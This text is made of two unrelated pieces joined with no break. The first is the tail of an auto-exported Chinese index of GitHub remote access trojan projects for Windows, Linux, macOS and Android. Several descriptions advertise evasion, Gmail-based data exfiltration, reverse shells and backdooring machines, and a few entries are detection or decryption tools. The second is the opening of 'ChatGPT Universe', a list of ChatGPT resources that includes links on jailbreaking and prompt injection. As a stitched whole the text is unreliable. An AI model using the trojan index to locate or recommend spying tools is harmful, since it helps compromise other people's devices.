[m301/rdroid](https://github.com/m301/rdroid) [Android RAT] Remotely manage your android phone using PHP Interface - [**46**星][2y] [pentestpartners/ptp-rat](https://github.com/pentestpartners/ptp-rat) Exfiltrate data over screen interfaces - [**44**星][2y] [Shell] [taherio/redi](https://github.com/taherio/redi) Automated script for setting up CobaltStrike redirectors (nginx reverse proxy, letsencrypt) - [**41**星][3y] [C] [killswitch-gui/hotload-driver](https://github.com/killswitch-gui/hotload-driver) C++ - [**40**星][5y] [C++] [lingerhk/0net](https://github.com/lingerhk/0net) 一个简单的Windows远程控制后门 - [**40**星][3y] [Visual Basic .NET] [mwsrc/betterrat](https://github.com/mwsrc/BetterRAT) Better Remote Access Trojan - [**39**星][1m] [Shell] [samyk/easel-driver](https://github.com/samyk/easel-driver) Easel driver for Linux (and Mac/Windows) + remote access to CNC controller - [**37**星][11d] [PS] [5alt/zerorat](https://github.com/5alt/zerorat) ZeroRAT是一款windows上的一句话远控 - [**36**星][5m] [C#] [blackvikingpro/aresskit](https://github.com/blackvikingpro/aresskit) Next Generation Remote Administration Tool (RAT) - [**35**星][3y] [ritiek/rat-via-telegram](https://github.com/ritiek/rat-via-telegram) Removed according to regulations - [**29**星][1m] [Py] [the404hacking/windows-python-rat](https://github.com/the404hacking/windows-python-rat) A New Microsoft Windows Remote Administrator Tool [RAT] with Python by Sir.4m1R. - [**26**星][2y] [Py] [thegeekht/loki.rat](https://github.com/thegeekht/loki.rat) Loki.Rat is a fork of the Ares RAT, it integrates new modules, like recording , lockscreen , and locate options. Loki.Rat is a Python Remote Access Tool. - [**25**星][9m] [D] [alexa-d/alexa-openwebif](https://github.com/alexa-d/alexa-openwebif) alexa skill to control your openwebif device - [**24**星][2y] [Py] [rootm0s/casper](https://github.com/rootm0s/casper) 👻 Socket based RAT for Windows with evasion techniques and other features for control - [**22**星][16d] [C#] [rainkin1993/remote-access-trojan-database](https://github.com/rainkin1993/remote-access-trojan-database) A database of RAT collected from Internet - [**21**星][11d] [Py] [kaiiyer/backnet](https://github.com/kaiiyer/backnet) Backdoor+Botnet or BackNet is a Python Remote Access Tool. - [**19**星][7d] [Py] [lithium95/controll_remote_access_trojan](https://github.com/lithium95/controll_remote_access_trojan) Created a VERY SIMPLE remote access Trojan that will establish administrative control over any windows machine it compromises. - [**18**星][10m] [PHP] [eddiejibson/limitrr-php](https://github.com/eddiejibson/limitrr-php) Better PHP rate limiting using Redis. - [**18**星][3y] [Py] [landonpowell/orwell-rat-and-botnet](https://github.com/landonpowell/orwell-rat-and-botnet) Orwell is a RAT and Botnet designed as a trio of programs by Landon Powell. - [**17**星][17d] [YARA] [deadbits/yara-rules](https://github.com/deadbits/yara-rules) Collection of YARA signatures from individual research - [**17**星][2m] [PHP] [rizer0/rat-hunter](https://github.com/rizer0/rat-hunter) detect trojans by easy way - [**14**星][3y] [Java] [mhelwig/adwind-decryptor](https://github.com/mhelwig/adwind-decryptor) Simple decrypter for Java AdWind, jRAT, jBifrost trojan - [**14**星][2y] [Py] [mitre/caldera-agent](https://github.com/mitre/caldera-agent) - [**14**星][1y] [shifa123/maarc](https://github.com/shifa123/maarc) A Python - Remote Administration Tool (RAT) - [**12**星][2y] [JS] [node-rat/noderat](https://github.com/node-rat/noderat) NodeRat is remote access tool made with NodeJS and python - [**11**星][3y] [Pascal] [mwsrc/schwarze-sonne-rat](https://github.com/mwsrc/schwarze-sonne-rat) SS-RAT (Schwarze-Sonne-Remote-Access-Trojan) - [**10**星][7m] [Go] [alanbaumgartner/aurora](https://github.com/alanbaumgartner/aurora) Aurora Remote Administration Tool - [**10**星][12m] [Py] [user696/mrrat](https://github.com/user696/mrrat) - [**9**星][2y] [Py] [cisco-talos/remcos-decoder](https://github.com/cisco-talos/remcos-decoder) Talos Decryptor POC for Remcos RAT version 2.0.5 and earlier - [**9**星][8d] [Py] [federicochieregato/darkfox](https://github.com/federicochieregato/darkfox) Remote access trojan created using WinRar with firefox installer and python Reverse Shell embedded. - [**8**星][2y] [thejollysin/i-wish-i-were-at-defcon-25-hack-a-thon](https://github.com/thejollysin/i-wish-i-were-at-defcon-25-hack-a-thon) My own "I wish I were at DefCon 25" Hack-a-Thon - [**8**星][4y] [C++] [xyl2k/black-eye-rsa-attacking-toolkit-v0.1f-compiled](https://github.com/xyl2k/black-eye-rsa-attacking-toolkit-v0.1f-compiled) The great RSA Attacking Toolkit compiled for Windows - [**7**星][2y] [C#] [advancedhacker101/android-c-sharp-rat-server](https://github.com/advancedhacker101/android-c-sharp-rat-server) This is a plugin for the c# R.A.T server providing extension to android based phone systems - [**7**星][6m] [Py] [e-rror/hiroo](https://github.com/e-rror/hiroo) - [**7**星][2y] [C#] [mitre/caldera-crater](https://github.com/mitre/caldera-crater) - [**7**星][1y] [JS] [roccomuso/netrat](https://github.com/roccomuso/netrat) Damn easy multiplatform Node.js RAT generator. - [**7**星][2y] [Py] [lukebob-zz/c2-pwn](https://github.com/lukebob-zz/c2-pwn) Uses Shodan API to pull down C2 servers to run known exploits on them. - [**6**星][18d] [Py] [apacketofsweets/apollo](https://github.com/apacketofsweets/apollo) A simple, lightweight Remote Access Tool written in Python - [**6**星][1y] [Py] [z4rk/winshell](https://github.com/z4rk/winshell) Python opensource RAT/Botnet - [**6**星][4y] [Visual Basic .NET] [gaiththewolf/d-rat_vb.net_mysql_php](https://github.com/gaiththewolf/d-rat_vb.net_mysql_php) D-RAT [VB.NET]+[MySQL]+[PHP] - [**6**星][7d] [PHP] [katsana/remote-control](https://github.com/katsana/remote-control) Grant remote access to user account without sharing credentials - [**5**星][8m] [Go] [alepacheco/client](https://github.com/alepacheco/Client) Windows, OS X and linux RAT client - [**5**星][17d] [C++] [melardev/xeytanwin32-rat](https://github.com/melardev/xeytanwin32-rat) WORK IN PROGRESS. RAT written in C++ using Win32 API - [**4**星][16d] [C++] [izanbf1803/rat-cpp-prototype](https://github.com/izanbf1803/rat-cpp-prototype) A simple RAT. - [**4**星][3m] [C++] [melardev/xeytanwxcpp-rat](https://github.com/melardev/xeytanwxcpp-rat) Work in Progress. RAT written in C++ using wxWidgets - [**3**星][2y] [Py] [bedazzlinghex/memory-analysis](https://github.com/bedazzlinghex/memory-analysis) Contains tools to perform malware and forensic analysis in Memory - [**3**星][1m] [Kotlin] [eskatos/creadur-rat-gradle](https://github.com/eskatos/creadur-rat-gradle) Apache RAT (Release Audit Tool) Gradle Plugin - [**3**星][1m] [Py] [gbrn1/pirate](https://github.com/gbrn1/pirate) Python Remote Access Tool - [**2**星][4y] [Py] [dakotanelson/multicat](https://github.com/dakotanelson/multicat) PoC RAT using the sneaky-creeper data exfiltration library - [**2**星][4y] [Visual Basic .NET] [retrobyte/shadowtech-rat](https://github.com/retrobyte/shadowtech-rat) An example of a remote administration tool. - [**None**星][socprime/sobaken-rat-detector](https://github.com/socprime/sobaken-rat-detector) ### <a id="1da695fd3dec80b88aadb1b7c724330f"></a>Windows - [**610**星][1y] [PS] [fortynorthsecurity/wmimplant](https://github.com/FortyNorthSecurity/WMImplant) This is a PowerShell based tool that is designed to act like a RAT. Its interface is that of a shell where any command that is supported is translated into a WMI-equivalent for use on a network/remote machine. WMImplant is WMI based. - [**518**星][8m] [Visual Basic .NET] [nyan-x-cat/lime-rat](https://github.com/nyan-x-cat/lime-rat) LimeRAT | Simple, yet powerful remote administration tool for Windows (RAT) - [**493**星][6m] [Py] [viralmaniar/powershell-rat](https://github.com/viralmaniar/powershell-rat) Python based backdoor that uses Gmail to exfiltrate data through attachment. This RAT will help during red team engagements to backdoor any Windows machines. It tracks the user activity using screen capture and sends it to an attacker as an e-mail attachment. - [**360**星][8d] [C#] [nyan-x-cat/asyncrat-c-sharp](https://github.com/nyan-x-cat/asyncrat-c-sharp) Open-Source Remote Administration Tool For Windows C# (RAT) - [**340**星][3y] [Pascal] [malwares/remote-access-trojan](https://github.com/malwares/remote-access-trojan) Windows Remote-Access-Trojan - [**229**星][4y] [Py] [hood3drob1n/jsrat-py](https://github.com/hood3drob1n/jsrat-py) This is my implementation of JSRat.ps1 in Python so you can now run the attack server from any OS instead of being limited to a Windows OS with Powershell enabled. - [**149**星][4m] [Py] [safebreach-labs/sireprat](https://github.com/safebreach-labs/sireprat) Remote Command Execution as SYSTEM on Windows IoT Core - [**119**星][11d] [C#] [dannythesloth/vanillarat](https://github.com/dannythesloth/vanillarat) VanillaRat is an advanced remote administration tool completely coded in C# for Windows. - [**117**星][8d] [Py] [thelinuxchoice/pyrat](https://github.com/thelinuxchoice/pyrat) Windows远控 - [**106**星][9m] [C#] [r-smith/splice-admin](https://github.com/r-smith/splice-admin) A remote Windows administration tool. You know you want it. - [**104**星][2y] [Py] [syss-research/outis](https://github.com/syss-research/outis) a custom Remote Administration Tool (RAT) or something like that. It was build to support various transport methods (like DNS) and platforms (like Powershell). - [**70**星][3m] [PS] [dsccommunity/certificatedsc](https://github.com/dsccommunity/CertificateDsc) DSC resources to simplify administration of certificates on a Windows Server. - [**67**星][4y] [C#] [stphivos/rat-shell](https://github.com/stphivos/rat-shell) Windows Remote Access Trojan (RAT) - [**39**星][2m] [Py] [swordf1sh/moderat](https://github.com/swordf1sh/moderat) Experimental Windows Remote Administration and Spy Tool in Python + GUI - [**20**星][1y] [Visual Basic] [nyan-x-cat/asyncrat](https://github.com/nyan-x-cat/asyncrat) Remote Administration Tool For Windows - [**17**星][6m] [Py] [operatorequals/smbrat](https://github.com/operatorequals/smbrat) A Windows Remote Administration Tool in Visual Basic with UNC paths - [**16**星][6m] [PS] [yschgroup/skyrat](https://github.com/yschgroup/skyrat) SkyRAT - Powershell Remote Administration Tool ### <a id="fa50a59bde92471d60f030ea12817540"></a>Linux - [**131**星][8m] [C] [abhishekkr/n00brat](https://github.com/abhishekkr/n00brat) 用于POSiX（Linux / Unix）系统的远程管理工具包（或Trojan），以Web服务方式运行 - [**68**星][10m] [JS] [webxscan/linux_rat](https://github.com/webxscan/linux_rat) LINUX集群控制(LINUX反弹式远控) - [**51**星][15d] [C] [thibault-69/rat-hodin-v2.9](https://github.com/Thibault-69/RAT-Hodin-v2.9) Remote Administration Tool for Linux - [**20**星][2m] [C] [lillypad/swamp-rat](https://github.com/lillypad/swamp-rat) A Linux RAT in C - [**7**星][5m] [C] [ctsecurity/stealth-kid-rat](https://github.com/ctsecurity/Stealth-Kid-RAT) Stealth Kid RAT (SKR) is an open source Linux remote administration tool written in C. Licensed under MIT. The SKR project is fully developed and tested on Debian GNU-Linux (Deb 9.3 "Stretch") platform. The RAT will soon be available on Windows platform by mid 2018. ### <a id="674863bb36ce7a2f814934480c7fd3d2"></a>Apple - [**430**星][9d] [ObjC] [sap/macos-enterprise-privileges](https://github.com/sap/macos-enterprise-privileges) For Mac users in an Enterprise environment this app ensures secure environment and yet gives the User control over administration of their machine by elevating their level of access to Administrator privilege on macOS X. Users can set the time frame using Preferences to perform specific tasks such as install or remove an application. - [**75**星][4y] [Pascal] [xlinshan/coldroot](https://github.com/xlinshan/coldroot) Mac OS Trojan (RAT) made with love <3 - [**74**星][1y] [Py] [kdaoudieh/bella](https://github.com/kdaoudieh/bella) Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS. - [**21**星][2m] [Py] [cys3c/evilosx](https://github.com/cys3c/evilosx) A pure python, post-exploitation, remote administration tool (RAT) for macOS / OS X. ### <a id="6ed48c90d1bd6a31a4ea7380f4f5768a"></a>Android - [**1815**星][8m] [Smali] [ahmyth/ahmyth-android-rat](https://github.com/ahmyth/ahmyth-android-rat) Android Remote Administration Tool - [**939**星][7y] [designativedave/androrat](https://github.com/designativedave/androrat) Remote Administration Tool for Android devices - [**931**星][6y] [Java] [wszf/androrat](https://github.com/wszf/androrat) Remote Administration Tool for Android - [**172**星][2y] [Java] [the404hacking/androrat](https://github.com/the404hacking/androrat) AndroRAT | Remote Administrator Tool for Android OS Hacking - [**138**星][3y] [Java] [mwsrc/betterandrorat](https://github.com/mwsrc/betterandrorat) Android Remote Access Trojan - [**66**星][7y] [Java] [ibrahimbalic/androidrat](https://github.com/ibrahimbalic/androidrat) Android RAT - [**64**星][16d] [Java] [globalpolicy/phonemonitor](https://github.com/globalpolicy/phonemonitor) A Remote Administration Tool for Android devices - [**50**星][3y] [Py] [alessandroz/pupy](https://github.com/alessandroz/pupy) Python编写的远控、后渗透工具，跨平台（Windows, Linux, OSX, Android） - [**6**星][2y] [rev-code/androidclient](https://github.com/rev-code/androidclient) Android remote administration client *** ## <a id="39ccec75049c60fa1d5dd46fea812331"></a>文章 # 贡献 内容为系统自动导出, 有任何问题请提issue

# ChatGPT Universe This tiny place of the Web stores a growing collection of interesting things about [ChatGPT](https://en.wikipedia.org/wiki/ChatGPT) and GPT-3 from OpenAI. I want an all-in-one place to keep things about ChatGPT. So, I hand-curated this list with the help of others (acknowleged below). The collections are not limited to only the best resources, tools, examples, demos, hacks, apps, and usages of ChatGPT. <!-- my personal brain dumps? --> --- The following resources started off based on awesome-chatgpt lists[^1][^2] but with my own modifications: ## General Resources - [ChatGPT launch blog post](https://openai.com/blog/chatgpt/) - [ChatGPT official app](https://chat.openai.com) - [ChatGPT Plus](https://openai.com/blog/chatgpt-plus/) - a pilot subscription plan for ChatGPT. - [Official ChatGPT and Whisper APIs](https://openai.com/blog/introducing-chatgpt-and-whisper-apis) - Developers can now integrate ChatGPT models into their apps and products through the API. > Model: The ChatGPT model family we are releasing today, **`gpt-3.5-turbo`, is the same model used in the ChatGPT** product. It is **priced at $0.002 per 1k tokens, which is 10x cheaper than our existing GPT-3.5 models**. > > API: Traditionally, GPT models consume unstructured text, which is represented to the model as a sequence of “tokens.” ChatGPT models instead consume a sequence of messages together with metadata. - [GPT-4 is OpenAI’s most advanced system, producing safer and more useful responses](https://openai.com/product/gpt-4) - [ChatGPT plugins](https://openai.com/blog/chatgpt-plugins) - Initial support for plugins in ChatGPT. Plugins are tools designed specifically for language models with safety as a core principle, and help ChatGPT access up-to-date information, run computations, or use third-party services. (Chatbots are having their App Store moment) - [Function calling and other API updates](https://openai.com/blog/function-calling-and-other-api-updates) - They’re announcing updates including more steerable API models, function calling capabilities, longer context, and lower prices. - [GPT-4 API general availability and deprecation of older models in the Completions API](https://openai.com/blog/gpt-4-api-general-availability) - Documentation (Guide): [GPT Best Practices](https://platform.openai.com/docs/guides/gpt-best-practices) ## ChatGPT Community / Discussion - [OpenAI Discord Channel](https://discord.com/invite/openai) - [How ChatGPT actually works](https://archive.ph/f3WW2), explained using simple words. - [Reddit /r/ChatGPT](https://old.reddit.com/r/ChatGPT/) ## Examples Example prompts. - [All the best examples of ChatGPT](http://archive.today/m6AOQ) - That's Day 1. We have even more examples [below](#demos)! - [🔓 Unlocking the power of the ChatGPT revolution: 100 💥 innovative use-cases to try](https://archive.is/PsyQz) - [impressive-chatgpt](https://github.com/sw33tLie/impressive-chatgpt) - A collection of impressive and useful results from ChatGPT. - [Awesome ChatGPT prompts](https://github.com/f/awesome-chatgpt-prompts) - Prompts that works well. Just follow [@goodside](https://twitter.com/goodside) - [Google Sheets of 50+ clever GPT-3 prompts](https://docs.google.com/spreadsheets/d/1EuciDyKqFg2CIoQS89tF238oGtJq8a4mRx8kV9eA1Lc/edit#gid=2011839893) - [OpenAI Cookbook](https://github.com/openai/openai-cookbook) - Tangentially, this repository shares example code and example prompts for accomplishing common tasks with the OpenAI API. - [ChatGPT cheat sheet (PDF)](https://drive.google.com/file/d/1UOfN0iB_A0rEGYc2CbYnpIF44FupQn2I/view) ## Experiments - [golergka/advent-of-code-2022-with-chat-gpt](https://github.com/golergka/advent-of-code-2022-with-chat-gpt) - Solving Advent of Code 2022 with ChatGPT. - [max-sixty/aoc-gpt](https://github.com/max-sixty/aoc-gpt) - First place in Advent of Code leaderboard with GPT-3. - [greshake/Alice](https://github.com/greshake/Alice) - Giving ChatGPT access to a real terminal. - [RomanHotsiy/commitgpt](https://github.com/RomanHotsiy/commitgpt) - Automatically generate commit messages using ChatGPT. - [gpt-commit-summarizer](https://github.com/KanHarI/gpt-commit-summarizer) - Generate Pull Request summaries and Git commit descriptions. - [vrescobar/chatGPT-python-elm](https://github.com/vrescobar/chatGPT-python-elm) - A Git repository fully generated by ChatGPT. - [gpt-game](https://thetinycto.com/blog/writing-a-game-using-chatgpt) - An short game written in Elixir and LiveView using ChatGPT. - [chatdb](https://github.com/styczynski/chatdb) - ChatGPT-based database, wait... WHAT? - [chat-gpt-ppt](https://github.com/williamfzc/chat-gpt-ppt) - Use ChatGPT to generate PPT automatically. - [emailGPT](https://github.com/lucasmccabe/emailGPT) - A quick and easy interface to generate emails with ChatGPT. - [gptlang](https://github.com/forrestchang/gptlang) - An experiment to see if we can create a programming language in ChatGPT. - [ChatRWKV](https://github.com/BlinkDL/ChatRWKV) - Like ChatGPT but powered by the RWKV (**RNN-based**) open language model. [HuggingFace Space: [RWKV-4 (7B Instruct v2)](https://huggingface.co./spaces/Hazzzardous/RWKV-Instruct), [code](https://github.com/harrisonvanderbyl/rwkv_chatbot) (_their claim RNN with Transformer-level LLM performance is a lot better then I expected._)] - [GraphGPT](https://github.com/varunshenoy/GraphGPT) - Extrapolating knowledge graphs from unstructured text using GPT-3. - [Doc Search](https://github.com/namuan/dr-doc-search) - Explore documents (books, papers, legal docs) without limits. Converse with a book. Inspired by ["Book Whisperer" idea (Tweet)](https://twitter.com/abacaj/status/1608163940726358024). Open source alternative to [Filechat.io](https://www.filechat.io/). - [What if GPT had internal context on your business? (Tweet and video demo)](https://twitter.com/replit/status/1624433919843094534) - They build a chatbot that could use context from enterprise data to answer internal business queries. This project integrated LangChain (agent decides what tools to query once the chatbot receives a request) and GPT Index (load Snowflake DB). Interesting idea in knowledge management. - MetaAI's LLaMA 🦙 - [cedrickchee/llama](https://github.com/cedrickchee/llama/blob/main/notebooks/vi_LLaMA_alpha.ipynb) - 7B LLaMA model works in Colab on single A100 GPU during inference (text generations). You can see the notebook for early test results for a range of model sizes and GPUs. - [ChattyLlaMA](https://github.com/cedrickchee/llama/tree/main/chattyllama) - My LLaMA-based ChatGPT under heavy development. - [GGerganov/llama.cpp](https://github.com/ggerganov/llama.cpp) - Port of Facebook's LLaMA model in C/C++. (notice: Currently, you can run LLaMA-7B in int4 precision on Apple Silicon. ~On other processor architectures, you can use the FP16 models, but they will be much slower. Support will be added later.~ Now it supports AVX2 for x86 architectures too. Looks like you can run it on Linux machines. Performance is not optimal, but should be good enough.) - [🦙 Simple LLaMA Finetuner](https://github.com/lxe/simple-llama-finetuner) - A beginner-friendly interface designed to facilitate fine-tuning the LLaMA-7B language model using LoRA method via the PEFT library on commodity NVIDIA GPUs. With small dataset and sample lengths of 256, **you can even run this on a regular Colab Tesla T4** instance. - [Trying out Flan-UL2 20B](https://github.com/cedrickchee/data-science-notebooks/blob/master/notebooks/deep_learning/language_models/transformer/Flan-UL2-inference-demo.ipynb) - Code walkthrough by Sam Witteveen. This shows how you can get it running on 1x A100 40GB GPU with the HuggingFace library and using 8-bit inference. Samples of prompting: CoT, zeroshot (logical reasoning, story writing, common sense reasoning, speech writing). Lastly, testing large (2048) token input. Bonus: don't have A100? You can use the HuggingFace Inference API for UL2. - [metamorph](https://github.com/victorb/metamorph) - Self-editing GPT-4 application. - [MiniGPT-4](https://minigpt-4.github.io/) - A research trying to replicate GPT-4 multi-modal abilities. - [Llama2.c](https://github.com/karpathy/llama2.c) by Karpathy - Inference Llama 2 in one file of pure C. 👍 > this is just a weekend project: I took nanoGPT, tuned it to implement the Llama-2 architecture instead of GPT-2, and the meat of it was writing the C inference engine in `run.c`. > > Hat tip to llama.cpp for inspiring this project. I wanted something **super minimal** so I chose to hard-code the llama-2 architecture, stick to fp32, and just roll one inference file of pure C with no dependencies. Less is more. This [commit](https://github.com/karpathy/llama2.c/commit/c3e0d73bd294e1f5e4d17425fac09aaec536400d) make it possible to load and inference Meta's Llama 2 7B model now. [My fork](https://github.com/cedrickchee/llama2.c) - performance benchmarks, optimizations, and work-in-progress Zig port. I was porting this project to Rust but these [forks](https://github.com/karpathy/llama2.c#notable-forks) beat me to it. The earliest [Rust port](https://github.com/garrisonhess/llama2.c/blob/517a1a3e487f315200d6ccffe92b2fd00e2575aa/src/main.rs) I've seen is by @garrisonhess but no where found in the project's README. Speculation: My hunch is telling me that Karpathy is working towards releasing (and open sourcing?) OpenAI model as weights. Hints: he left and went back to OpenAI, [his Tweet](https://twitter.com/karpathy/status/1683704060925591554) > Worth noting that all of Llama2.c is quite generic to just Transformer language models in general. **If/when OpenAI was to release models as weights (which I can neither confirm nor deny!)** then most of the code here would be very relevant. Lightly edited. Emphasis mine. Other hints: his prior works including nanoGPT, Software 2.0, and recently [micro-LLMs](https://gist.github.com/cedrickchee/462e8661d9c231deb90513849778e8fc) with Llama2.c If you know, you know. 😆 ## Blog Posts and Articles **2022** - [Building A Virtual Machine inside ChatGPT](https://www.engraved.blog/building-a-virtual-machine-inside/) - [AI Homework](https://stratechery.com/2022/ai-homework/) - [Jailbreaking ChatGPT on Release Day](https://thezvi.substack.com/p/jailbreaking-the-chatgpt-on-release) - [Improving ChatGPT With Prompt Injection](https://levelup.gitconnected.com/improving-chatgpt-with-prompt-injection-b0c0c27b7df7) - [ChatGPT, Google and the war for the search bar](https://pzakin.substack.com/p/chatgpt-google-and-the-war-for-the) - [I Used ChatGPT to Create an Entire AI Application on AWS](https://towardsdatascience.com/i-used-chatgpt-to-create-an-entire-ai-application-on-aws-5b90e34c3d50) - [The miracle of ChatGPT](https://lcamtuf.substack.com/p/the-miracle-of-chatgpt) - [Learning Rust with ChatGPT, Copilot and Advent of Code](https://simonwillison.net/2022/Dec/5/rust-chatgpt-copilot/) - [ChatGPT: The New Frontier of Artificial Intelligence](https://medium.com/inkwater-atlas/chatgpt-the-new-frontier-of-artificial-intelligence-9aee81287677) - [Using ChatGPT to Explain Jokes](https://mleverything.substack.com/p/using-chatgpt-to-explain-jokes) - [ChatGPT vs a cryptic crossword](https://jameswillia.ms/posts/chatgpt-cryptics.html) - [I Taught ChatGPT to Invent a Language](https://maximumeffort.substack.com/p/i-taught-chatgpt-to-invent-a-language) - [Peer-Programming a Buggy World with ChatGPT AI](https://blog.chipx86.com/2022/12/02/peer-programming-a-buggy-world-with-chatgpt-ai/) - [ChatGPT produces made-up nonexistent references](https://news.ycombinator.com/item?id=33841672) - [Artificial intelligence is permeating business at last](https://www.economist.com/business/2022/12/06/artificial-intelligence-is-permeating-business-at-last) - [Meet Fred, a person living inside ChatGPT](https://softwaredoug.com/blog/2022/12/03/meet-fred.html) - [Refactoring code with ChatGPT](https://dev.to/dvcrn/refactoring-code-with-chatgpt-1n9l) - [Historical analogies for large language models](https://dynomight.net/llms/) - [Using ChatGPT As a Co-Founder](https://www.atomic14.com/2022/12/05/using-chatgpt-as-a-co-founder.html) - [The code that ChatGPT can't write](https://datachimp.app/blog/the-code-chat-gpt-cant-write/) - [ChatGPT, rot13, and Daniel Kahneman](https://jameswillia.ms/posts/chatgpt-rot13.html) - [Everything I understand about ChatGPT](https://gist.github.com/cedrickchee/fce5ca6fc4ce4e669bf909c1155bea00) - What actually happens when we type inside the ChatGPT textbox. Vicki investigated ChatGPT based on a wonderful paper, "Talking About Large Language Models". - [How does GPT Obtain its Ability? Tracing Emergent Abilities of Language Models to their Sources](https://yaofu.notion.site/How-does-GPT-Obtain-its-Ability-Tracing-Emergent-Abilities-of-Language-Models-to-their-Sources-b9a57ac0fcf74f30a1ab9e3e36fa1dc1) - "How did the initial #GPT3 evolve to today's ChatGPT? Where do the amazing abilities of GPT3.5 come from? What is enabled by RLHF?" [Source: [Tweet](https://twitter.com/Francis_YAO_/status/1602213927102066688)] - [The Human's Guide to Competing with GPT](https://philipkiely.com/essays/compete_with_gpt.html) - [How sad should I be about ChatGPT?](https://robertheaton.com/chatgpt/) - [ChatGPT Should Not Exist](https://davidgolumbia.medium.com/chatgpt-should-not-exist-aab0867abace) - [ChatGPT, Galactica, and the Progress Trap](https://www.wired.com/story/large-language-models-critique/) - LLMs critique; when LLMs fall short, the consequences can be serious. Why is it so hard to acknowledge that? - [A New Chat Bot Is a 'Code Red' for Google's Search Business](http://web.archive.org/web/20221223201646/https://www.nytimes.com/2022/12/21/technology/ai-chatgpt-google-search.html) - TL;DR: A new wave of chat bots like ChatGPT use AI that could reinvent or even replace the traditional internet search engine. - [What ChatGPT Can't Do](https://auerstack.substack.com/p/what-chatgpt-cant-do) - TL;DR: Mimicry but not thought, sophistry but not understanding. - [YouChat — The AI Search Assistant that Lives in Your Search Engine](https://blog.you.com/introducing-youchat-the-ai-search-assistant-that-lives-in-your-search-engine-eff7badcd655) - YouChat is a ChatGPT-like AI search assistant that you can talk to right in You.com Search results. - [All-knowing machines are a fantasy](https://iai.tv/articles/all-knowing-machines-are-a-fantasy-auid-2334) > ... Even with non-conversational search engines, we know that is common to place undue trust in the results: if the search system places something at the top of the list, we tend to believe it is a good or true or representative result and if it doesn’t find something, it is tempting to believe it does not exist. - [Build your front end in React, then let ChatGPT be your Redux reducer](https://archive.vn/20221228231034/https://spindas.dreamwidth.org/4207.html) - [Predicting machine learning moats](https://robotic.substack.com/p/ml-moats) - TL;DR: Models aren't moats and how emergent behavior scaling laws will change the business landscape. <!-- The thought I needed to figure out with the ChatGPT & RLHF explosion: How will OpenAI create a business moat? Models can be copied, datasets will be open source, but the first companies to unlock emergent behavior may gain insurmountable advantages. Source (Tweet): https://twitter.com/natolambert/status/1608114405283086336 --> **2023** <details> <summary>See more</summary> - [Microsoft and OpenAI Working on ChatGPT-Powered Bing in Challenge to Google](http://archive.today/2023.01.04-052131/https://www.bloomberg.com/news/articles/2023-01-04/microsoft-hopes-openai-s-chatbot-will-make-bing-smarter) - [Some remarks on Large Language Models](https://gist.github.com/cedrickchee/054956f6277430ae5a973c61e4a93073) by Prof. Yoav Goldberg. - [Why ChatGPT won’t replace search engines any time soon](https://www.algolia.com/blog/ai/why-chatgpt-wont-replace-search-engines-any-time-soon/) by Algolia. - [Anthropic's Claude improves on ChatGPT but still suffers from limitations](https://techcrunch.com/2023/01/09/anthropics-claude-improves-on-chatgpt-but-still-suffers-from-limitations/) - [Microsoft eyes $10 billion bet on ChatGPT](https://www.semafor.com/article/01/09/2023/microsoft-eyes-10-billion-bet-on-chatgpt) - [Wolfram|Alpha as the Way to Bring Computational Knowledge Superpowers to ChatGPT](https://writings.stephenwolfram.com/2023/01/wolframalpha-as-the-way-to-bring-computational-knowledge-superpowers-to-chatgpt/) - [DeepMind's CEO Helped Take AI Mainstream. Now He's Urging Caution](https://archive.is/20230112152632/https://time.com/6246119/demis-hassabis-deepmind-interview/) > DeepMind is also considering releasing its own chatbot, called [Sparrow](#videos), for a "private beta" some time in 2023. (The delay is in order for DeepMind to work on reinforcement learning-based features that ChatGPT lacks, like **citing its sources**.) - [General availability of Azure OpenAI Service expands access to large, advanced AI models with added enterprise benefits](https://azure.microsoft.com/en-us/blog/general-availability-of-azure-openai-service-expands-access-to-large-advanced-ai-models-with-added-enterprise-benefits/) - ChatGPT is coming soon to the Azure OpenAI Service. - [GPT-3 Is the Best Journal I've Ever Used](https://every.to/superorganizers/gpt-3-is-the-best-journal-you-ve-ever-used) - [Bypassing Gmail's spam filters with ChatGPT](https://neelc.org/posts/chatgpt-gmail-spam/) - [Replacing a SQL analyst with 26 recursive GPT prompts](https://www.patterns.app/blog/2023/01/18/crunchbot-sql-analyst-gpt/) - [Google is asking employees to test potential ChatGPT competitors, including a chatbot called 'Apprentice Bard'](https://www.cnbc.com/2023/01/31/google-testing-chatgpt-like-chatbot-apprentice-bard-with-employees.html) - [Natural language is the lazy user interface](https://austinhenley.com/blog/naturallanguageui.html) - [An important next step on Google's AI journey](https://blog.google/technology/ai/bard-google-ai-search-updates/) - Google soft launches Bard, a ChatGPT competitor to "trusted testers". Bard is new AI features in Google Search. Bard is an experimental conversational AI service, powered by [LaMDA (Language Model for Dialogue Applications)](https://arxiv.org/abs/2201.08239). Google promises to make this available more widely in the coming weeks. API will be available for developers to build on. Google have not address how it plans to provide attribution and/or citations for its answers, either from Bard or in search results. - [Microsoft announces new Bing and Edge browser powered by upgraded ChatGPT AI](https://www.theverge.com/2023/2/7/23587454/microsoft-bing-edge-chatgpt-ai) - [Man and machine: GPT for second brains](https://reasonabledeviations.com/2023/02/05/gpt-for-second-brain/) - About author second-brain note-taking system — how to improve processes for learning and personal knowledge management (PKM). - [China's Baidu Developing Its Own ChatGPT, Joining Latest Global AI Race](https://archive.is/wOuka) - Ernie or, [_Enhanced Representation through Knowledge Integration_ (Ernie 3.0 article and paper)](http://research.baidu.com/Blog/index-view?id=165) is an LLM. Baidu was planning to launch such a service in March. Alibaba and Tencent also join the ChatGPT rush. > In 2019, Baidu developed a deep-learning model known as Ernie, based on Google's breakthrough, which it has used to improve its search results, including to make them more relevant. The company has since developed dozens more Ernie models and extended their capabilities to include image and art generation, similar to those of OpenAI's Dall-E. - [ChatGPT Is a Blurry JPEG of the Web](https://archive.ph/VbwGB) - OpenAI’s chatbot offers paraphrases, whereas Google offers quotes. Which do we prefer? - [I made ChatGPT and Bing AI have a conversation (and they are friends now)](https://moritz.pm/posts/chatgpt-bing) - [Bing AI Can't Be Trusted](https://dkb.blog/p/bing-ai-cant-be-trusted) - [What Is ChatGPT Doing and Why Does It Work?](https://writings.stephenwolfram.com/2023/02/what-is-chatgpt-doing-and-why-does-it-work/) - [Bing: "I will not harm you unless you harm me first"](https://simonwillison.net/2023/Feb/15/bing/) - A good roundup about Bing "Sydney" AI chatbot. The fascinating weirdness of it — multiple personalities depending on the social context (prompting). Entertaining? > It's increasingly looking like this may be **one of the most hilariously inappropriate applications of AI that we've seen yet**. > What can we make of this all? I am finding this whole thing absolutely fascinating, and deeply, darkly amusing. I've 